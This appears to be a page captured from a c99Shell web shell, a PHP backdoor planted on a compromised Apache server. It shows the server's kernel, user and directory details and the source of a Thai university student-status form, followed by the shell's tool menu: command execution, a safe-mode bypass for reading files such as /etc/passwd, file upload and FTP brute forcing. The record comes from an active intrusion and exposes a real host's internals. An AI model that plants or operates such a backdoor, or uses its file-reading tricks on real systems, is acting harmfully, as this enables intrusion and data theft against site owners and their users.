!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_searchStudReStatus.php (5.74 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<script language="JavaScript1.2">
// @use
function chkAgree() {
    if(document.getElementById("approve").checked==true) {
        document.myform.ssmRefNo.disabled = false;
        document.myform.ssmApprover.disabled = false;
        document.myform.add.disabled = false;
        document.myform.clear.disabled = false;
    } else {
        document.myform.ssmRefNo.disabled = true;
        document.myform.ssmApprover.disabled = true;
        document.myform.add.disabled = true;
        document.myform.clear.disabled = true;
    }
}

// @use
function chkBeforeSave() {
    if(document.getElementById("ssmRefNo").value=='') {
        alert("กรุณาป้อนเลขที่เอกสารอ้างอิง !!");
        return 0;
    } else if(document.getElementById("ssmApprover").value=='') { 
        alert("กรุณาป้อนผู้อนุมัติ !!");
        return 0;
    } else {
        document.getElementById("add2").value=1;
        myform.submit();
    }
}
</script>
<table width="100%" align="center">
    <tr>
        <td><div align="center">
            <?php echo form_open($this->config->item("rg_folder")."student/std_searchStdStatus", array("name" => "myform""id" => "myform"));?>
            <table width="100%" border="0" cellspacing="1" cellpadding="1" align="center">
                <tr>
                    <td align="center"><font color="<?php echo $font_color_err;?>" size="3" class="h"><b>คืนสภาพนักศึกษา</b></font></td>
                </tr>
                <tr>
                    <td>
                    <table align="center" width="100%" border="0" cellspacing="1" cellpadding="1">
                        <tr>
                            <td><br /></td>
                        </tr>
                        <tr>
                            <td colspan="4"><font size="2"><b>รหัสนักศึกษา</b></font>
                            <input type="text" name="stdCode" id="stdCode" size="10" maxlength="10" value="<?php echo set_value('stdCode');?>" class="required-int" />
                            <input type="submit" name="search" value="ค้นหา" />
                            <br /><span class="error" style="display:inline;"></span></td>
                        </tr>

<?php
                    
if(isset($qu_std)) {
                        
$std $qu_std->row();
?>
                        <tr>
                            <td><br /></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td width="15%" height="22"><font size="2"><b>รหัสนักศึกษา</b></font>
                            <input type="hidden" name="apprveSpe" id="apprveSpe" value="<?php echo $std->stdSstId;;?>"></td>
                            <td width="35%"><font size="2">: <?php echo $std->stdCode;?></font>
                            <input type="hidden" name="stdId" id="stdId" value="<?php echo $std->stdId;?>"></td>
                            <td width="15%"><font size="2"><b>ชื่อ-สกุล</b></font></td>
                            <td width="35%"><font size="2">: <?php echo $std->prefixName.$std->stdName.' '.$std->stdSurname;?></font></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td height="22"><font  size="2"><b>หลักสูตร</b></font></td>
                            <td colspan="3"><font  size="2">: <?php echo $std->curName;?></font></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td height="22"><font  size="2"><b>ระดับการศึกษา</b></font></td>
                            <td><font  size="2">: <?php echo $std->levelName;?></font></td>
                            <td><font  size="2"><b>ชั้นปี</b></font></td>
                            <td><font  size="2">: <?php echo $std->syCode;?></font>
                            <input type="hidden" name="stdSyId" id="stdSyId" value="<?php echo $std->stdSyId;?>" />
                            <input type="hidden" name="acY" id="acY" value="<?php echo $this->session->userdata('acY');?>">
                            <input type="hidden" name="tm" id="tm" value="<?php echo $this->session->userdata('tmId');?>"></td>
                        </tr>
                        <tr>
                            <td height="22" colspan="4"></td>
                        </tr>
<?php
                        
if(!(isset($flgSuccess))) {
?>
                        <tr>
                            <td colspan="4" align="center" height="22">
                            <input type="checkbox" name="approve" id="approve" value="1" onClick="chkAgree()">
                            <font  size="2">อนุมัติให้คืนสภาพนักศึกษา เลขที่เอกสารอ้างอิง</font>
                            <input type="text" name="ssmRefNo" id="ssmRefNo" size="5" maxlength="10" value="<?php echo set_value('ssmRefNo');?>" disabled /></td>
                        </tr>
                        <tr>                    
                            <td height="22" colspan="4"></td>
                        </tr>
                        <tr>
                            <td height="22" colspan="2" align="right"><font  size="2"><b>ผู้อนุมัติ : </b></font></td>
                            <td colspan="2"><input type="text" name="ssmApprover" id="ssmApprover" size="25" disabled value="<?php echo set_value('ssmApprover');?>" /></td>
                        </tr>
                        <tr>                    
                            <td colspan="2" align="right" height="22"><font  size="2"><b>วันที่อนุมัติ : </b></font></td>
                            <td colspan="2"><script>DateInput('ssmApproveDate', true, 'DD/MM/YYYY','<?php echo getNowDateFw2();?>');</script></td>
                        </tr>
                        <tr>                    
                            <td height="22" colspan="4"></td>
                        </tr>
                        <tr>
                            <td colspan="4" align="center"><input type="button" name="add" id="add" value="บันทึก" disabled onClick="chkBeforeSave()" />
                            <input type="hidden" name="add2" id="add2" value="" />
                            <input type="reset" name="clear" value="เคลียร์ข้อมูล" disabled /></td>
                        </tr>
<?php
                        
} else if(isset($flgSuccess)) {
?>
                        <tr>
                            <td colspan="4" align="center"><font class="h" color="<?php echo $this->config->item("rg_font_color_err");?>"><b><?php echo $flgSuccess;?></b></font><br /></td>
                        </tr>
<?php
                        
}
                    } else if(isset(
$flgShow)) {
?>
                        <tr>
                            <td height="22" align="center" colspan="4"><font color="<?php echo $font_color_err;?>" size="2"><?php echo $flgShow;?></font></td>
                        </tr>
<?php
                    
}
?>
                    </table></td>
                </tr>            
            </table><?php echo form_close();?></div>
        <br></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0137 ]--